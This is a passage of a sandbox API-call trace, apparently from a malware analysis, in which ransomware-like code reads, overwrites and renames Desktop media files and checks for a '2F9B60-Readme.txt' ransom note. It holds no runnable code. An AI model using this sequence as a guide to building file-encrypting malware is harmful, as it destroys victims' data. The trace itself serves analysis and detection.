(HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b867a40 [0107.410] wcscpy (in: _Dest=0x1b867a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0107.410] wcscat (in: _Dest=0x1b867a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0107.411] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0107.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 [0107.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 Thread: id = 773 os_tid = 0x12f8 [0098.542] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0I0RukcW_MgGVGVZ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0i0rukcw_mggvgvz.mkv")) returned 0x20 [0098.542] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0I0RukcW_MgGVGVZ.mkv", dwFileAttributes=0x20) returned 1 [0098.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0I0RukcW_MgGVGVZ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0i0rukcw_mggvgvz.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1494 [0098.542] GetFileSizeEx (in: hFile=0x1494, lpFileSize=0x213dfcc0 | out: lpFileSize=0x213dfcc0*=61137) returned 1 [0098.542] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0xeecd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.542] ReadFile (in: hFile=0x1494, lpBuffer=0x213dfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x213dfc88, lpOverlapped=0x0 | out: lpBuffer=0x213dfc40*, lpNumberOfBytesRead=0x213dfc88*=0x4, lpOverlapped=0x0) returned 1 [0098.543] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0098.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603b0 [0098.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0098.544] NtQuerySystemTime (in: CurrentTime=0x213dfb80 | out: CurrentTime=0x213dfb80*=132462177040594000) returned 0x0 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x661d5bf8 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x3a454716 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x3dedf384 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x63d3098f [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x4e6ab3a2 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x11542e1c [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x60b0f9fe [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x7c7f5e54 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x4b21279a [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x7eb9b4c1 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x51a795b6 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x2b26039b [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x47848848 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x190100ae [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x24f13984 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x1180cd30 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x57806222 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x7bacd0ac [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x55a8a81 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x4dc983fc [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x68996a58 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x61f02af7 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x74a9a260 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x46974f4d [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x4dc1bde7 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x6b81ee5 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x6940a2a9 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x4c1294f3 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x4ea782b8 [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x283fb1c [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x7c5544b [0098.544] RtlRandomEx (in: Seed=0x213dfb70 | out: Seed=0x213dfb70) returned 0x75035e25 [0098.553] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.553] ReadFile (in: hFile=0x1494, lpBuffer=0x20122d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x213dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x20122d00*, lpNumberOfBytesRead=0x213dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.553] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0098.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260320) returned 1 [0098.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20139560 [0098.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0098.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0098.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202603e0) returned 1 [0098.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.554] WriteFile (in: hFile=0x1494, lpBuffer=0x20139560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x213dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x20139560*, lpNumberOfBytesWritten=0x213dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20139560) returned 1 [0100.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20122d00) returned 1 [0100.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f3f0 [0100.905] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.905] WriteFile (in: hFile=0x1494, lpBuffer=0x1b86f540*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x213dfc90, lpOverlapped=0x0 | out: lpBuffer=0x1b86f540*, lpNumberOfBytesWritten=0x213dfc90*=0x11a, lpOverlapped=0x0) returned 1 [0101.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0101.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0101.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0101.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0101.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b859e80 [0101.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0101.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595e0 [0101.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595e0) returned 1 [0101.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0101.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0101.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9c190 [0101.882] sprintf (in: _Dest=0x1cd9c190, _Format="%c%c" | out: _Dest="95") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c192, _Format="%c%c" | out: _Dest="bf") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c194, _Format="%c%c" | out: _Dest="a1") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c196, _Format="%c%c" | out: _Dest="fa") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c198, _Format="%c%c" | out: _Dest="20") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c19a, _Format="%c%c" | out: _Dest="ea") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c19c, _Format="%c%c" | out: _Dest="a5") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c19e, _Format="%c%c" | out: _Dest="36") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c1a0, _Format="%c%c" | out: _Dest="20") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c1a2, _Format="%c%c" | out: _Dest="ae") returned 2 [0101.882] sprintf (in: _Dest=0x1cd9c1a4, _Format="%c%c" | out: _Dest="f2") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1a6, _Format="%c%c" | out: _Dest="08") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1a8, _Format="%c%c" | out: _Dest="f8") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1aa, _Format="%c%c" | out: _Dest="43") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1ac, _Format="%c%c" | out: _Dest="77") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1ae, _Format="%c%c" | out: _Dest="0e") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1b0, _Format="%c%c" | out: _Dest="3c") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1b2, _Format="%c%c" | out: _Dest="ee") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1b4, _Format="%c%c" | out: _Dest="b5") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1b6, _Format="%c%c" | out: _Dest="b8") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1b8, _Format="%c%c" | out: _Dest="7e") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1ba, _Format="%c%c" | out: _Dest="97") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1bc, _Format="%c%c" | out: _Dest="0d") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1be, _Format="%c%c" | out: _Dest="0d") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1c0, _Format="%c%c" | out: _Dest="7f") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1c2, _Format="%c%c" | out: _Dest="30") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1c4, _Format="%c%c" | out: _Dest="89") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1c6, _Format="%c%c" | out: _Dest="45") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1c8, _Format="%c%c" | out: _Dest="52") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1ca, _Format="%c%c" | out: _Dest="51") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1cc, _Format="%c%c" | out: _Dest="6e") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1ce, _Format="%c%c" | out: _Dest="26") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1d0, _Format="%c%c" | out: _Dest="a1") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1d2, _Format="%c%c" | out: _Dest="24") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1d4, _Format="%c%c" | out: _Dest="fb") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1d6, _Format="%c%c" | out: _Dest="0b") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1d8, _Format="%c%c" | out: _Dest="a7") returned 2 [0101.883] sprintf (in: _Dest=0x1cd9c1da, _Format="%c%c" | out: _Dest="23") returned 2 [0101.884] sprintf (in: _Dest=0x1cd9c1dc, _Format="%c%c" | out: _Dest="7d") returned 2 [0101.884] sprintf (in: _Dest=0x1cd9c1de, _Format="%c%c" | out: _Dest="61") returned 2 [0101.884] RtlInitAnsiString (in: DestinationString=0x213dfd08, SourceString="95bfa1fa20eaa53620aef208f843770e3ceeb5b87e970d0d7f30894552516e26a124fb0ba7237d61" | out: DestinationString="95bfa1fa20eaa53620aef208f843770e3ceeb5b87e970d0d7f30894552516e26a124fb0ba7237d61") [0101.884] RtlAnsiStringToUnicodeString (in: DestinationString=0x213dfcd8, SourceString="95bfa1fa20eaa53620aef208f843770e3ceeb5b87e970d0d7f30894552516e26a124fb0ba7237d61", AllocateDestinationString=1 | out: DestinationString="95bfa1fa20eaa53620aef208f843770e3ceeb5b87e970d0d7f30894552516e26a124fb0ba7237d61") returned 0x0 [0101.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050b950 [0101.884] wcscat (in: _Dest=0x20509840, _Source="95bfa1fa20eaa53620ae" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\95bfa1fa20eaa53620ae") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\95bfa1fa20eaa53620ae" [0101.884] wcscat (in: _Dest=0x20509840, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\95bfa1fa20eaa53620ae.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\95bfa1fa20eaa53620ae.2f9b60" [0101.884] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\95bfa1fa20eaa53620ae.2f9b60", NtPathName=0x213dfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\95bfa1fa20eaa53620ae.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050b740 [0105.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b740) returned 1 [0105.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e810) returned 1 [0105.608] NtQueryInformationFile (in: FileHandle=0x1494, IoStatusBlock=0x213dfd18, FileInformation=0x213dfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x213dfd18, FileInformation=0x213dfd28) returned 0x0 [0105.608] NtSetInformationFile (FileHandle=0x1494, IoStatusBlock=0x213dfd18, FileInformation=0x213dfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509840) returned 1 [0105.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b950) returned 1 [0105.740] FlushFileBuffers (hFile=0x1494) returned 1 [0105.756] CloseHandle (hObject=0x1494) returned 1 [0105.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ee10 [0105.758] wcscpy (in: _Dest=0x1b85ee10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0105.758] wcscat (in: _Dest=0x1b85ee10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0105.758] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0105.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0105.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 Thread: id = 774 os_tid = 0x12fc [0098.563] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1W5TmwkzZTtQWxlWUN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1w5tmwkzzttqwxlwun.wav")) returned 0x20 [0098.563] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1W5TmwkzZTtQWxlWUN.wav", dwFileAttributes=0x20) returned 1 [0098.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1W5TmwkzZTtQWxlWUN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1w5tmwkzzttqwxlwun.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1498 [0098.564] GetFileSizeEx (in: hFile=0x1498, lpFileSize=0x218df840 | out: lpFileSize=0x218df840*=86700) returned 1 [0098.564] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x152a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.564] ReadFile (in: hFile=0x1498, lpBuffer=0x218df7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x218df808, lpOverlapped=0x0 | out: lpBuffer=0x218df7c0*, lpNumberOfBytesRead=0x218df808*=0x4, lpOverlapped=0x0) returned 1 [0098.565] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0098.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0098.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0098.565] NtQuerySystemTime (in: CurrentTime=0x218df700 | out: CurrentTime=0x218df700*=132462177040906000) returned 0x0 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x1b4411e9 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x3e7c37e1 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x4e350f53 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x19411e1a [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x78ae6aa9 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x7420127c [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x45c36119 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x4976e2ea [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x52b857cb [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x7420127c [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x3ac601b0 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x68594200 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x6f19907c [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x7753bed7 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x450f0b03 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x50cfc80d [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x57806222 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x419dab7f [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x46f9353c [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x3a85eda8 [0098.565] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x1223d711 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x2d4770bd [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x314f21b9 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x7567d87 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x18e1d3a1 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x2544e073 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0xd785841 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x961d4b6 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x13efaac2 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x304af8b3 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x457af299 [0098.566] RtlRandomEx (in: Seed=0x218df6f0 | out: Seed=0x218df6f0) returned 0x26b186a3 [0098.572] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.572] ReadFile (in: hFile=0x1498, lpBuffer=0x2011f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x218df760, lpOverlapped=0x0 | out: lpBuffer=0x2011f0f0*, lpNumberOfBytesRead=0x218df760*=0x3c00, lpOverlapped=0x0) returned 1 [0098.573] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0098.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202603e0) returned 1 [0098.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2012e130 [0098.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0098.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0098.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604a0) returned 1 [0098.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.573] WriteFile (in: hFile=0x1498, lpBuffer=0x2012e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x218df760, lpOverlapped=0x0 | out: lpBuffer=0x2012e130*, lpNumberOfBytesWritten=0x218df760*=0x3c00, lpOverlapped=0x0) returned 1 [0100.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2012e130) returned 1 [0100.494] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.494] ReadFile (in: hFile=0x1498, lpBuffer=0x2011f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x218df760, lpOverlapped=0x0 | out: lpBuffer=0x2011f0f0*, lpNumberOfBytesRead=0x218df760*=0x3c00, lpOverlapped=0x0) returned 1 [0100.495] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0100.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0100.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0100.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0100.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420178d0 [0100.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0100.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0100.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0100.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0100.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0100.911] WriteFile (in: hFile=0x1498, lpBuffer=0x420178d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x218df760, lpOverlapped=0x0 | out: lpBuffer=0x420178d0*, lpNumberOfBytesWritten=0x218df760*=0x3c00, lpOverlapped=0x0) returned 1 [0101.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420178d0) returned 1 [0101.686] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x116ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.686] ReadFile (in: hFile=0x1498, lpBuffer=0x2011f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x218df760, lpOverlapped=0x0 | out: lpBuffer=0x2011f0f0*, 